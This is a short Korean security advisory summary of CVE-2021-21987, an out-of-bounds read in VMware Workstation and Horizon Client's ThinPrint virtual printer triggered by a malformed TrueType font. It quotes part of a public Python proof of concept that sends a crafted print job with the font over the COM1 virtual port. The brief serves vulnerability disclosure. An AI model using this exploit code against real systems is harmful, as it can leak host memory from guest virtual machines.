[하루한줄] CVE-2021-21987: VMWare Workstation 가상 프린터의 OOB read 취약점

URL

CVE-2021-21987-vmware-out-of-bounds read vulnerability via Cortado ThinPrint

Target

  • VMware Workstation 16.1.2 이전
  • Horizon Client 5.5.2 이전

Explain

VMWare Workstation 및 Windows용 Horizon Client에 설치된 Windows 10의 가상 프린터 구성요소에서 발견된 범위를 벗어난 읽기(Out-of-Bound Read) 취약점의 PoC가 공개되었습니다.

VMWare의 가상 프린터인 ThinPrint 구성 요소는 게스트 Windows에서 문서 및 이미지를 파싱해 호스트 OS에 연결된 프린터로 출력할 수 있는 기능을 지원합니다. 취약점은 rundll32.exe에서 로드되는 TPView.dll이 폰트 확장자 TrueType Font(TTF)를 파싱하는 코드에 존재하며 TTF 파일의 검증이 충분히 이루어지지 않아 해커의 악성 TTF 파일을 파싱하는 과정에서 메모리를 읽어 정보 유출로 이어질 수 있습니다. 아래는 COM1 포트의 가상 프린터를 활성화하고 악성 TTF 파일을 전달하는 PoC의 일부입니다.

class TPVM:
SERIAL_PORT=b'\\\\\\\\.\\\\COM1'
    def __init__(self):
        self.hPort=windll.kernel32.CreateFileA(self.SERIAL_PORT,
                                               0xc0000000, # GENERIC_READ | GENERIC_WRITE
                                               3,          # FILE_SHARE_READ | FILE_SHARE_WRITE
                                               None,
                                               3,          # OPEN_EXISTING
                                               0,
                                               None)
        if (self.hPort & 0xffffffff) == 0xffffffff:
            raise Exception('the serial port could not be opened (0x%08x)'%(GetLastError()))

        if not windll.kernel32.SetupComm(self.hPort, 0x20000, 0x84d0):
            raise WinError()
...
t = TPVM()
...
f = open("poc.ttf", "rb")
font_data = f.read()
f.close()

emri_engine_font = struct.pack('<IIIII', 0x2, 8 + FONT_COUNT * 4 + len(font_data) + 4, 0, FONT_COUNT, len(font_data))
emri_engine_font += binascii.a2b_hex('00000000')
emri_engine_font += font_data

# Put it all together.
data_plaintext = devmode + emfspool_hdr + emf + emri_metafile_ext + emri_engine_font
data_compressed = zlib.compress(data_plaintext, 9)
print_command = struct.pack('<H', 0) + struct.pack('<II', len(data_compressed), len(data_plaintext)) + data_compressed

# Send the printing command.
t.do_data(print_command)
t.do_command(0x8002)
t.close()

해당 취약점은 지난 2016년 Google Project Zero가 발견한 CVE-2016-7083 과 유사한 것으로 알려졌습니다.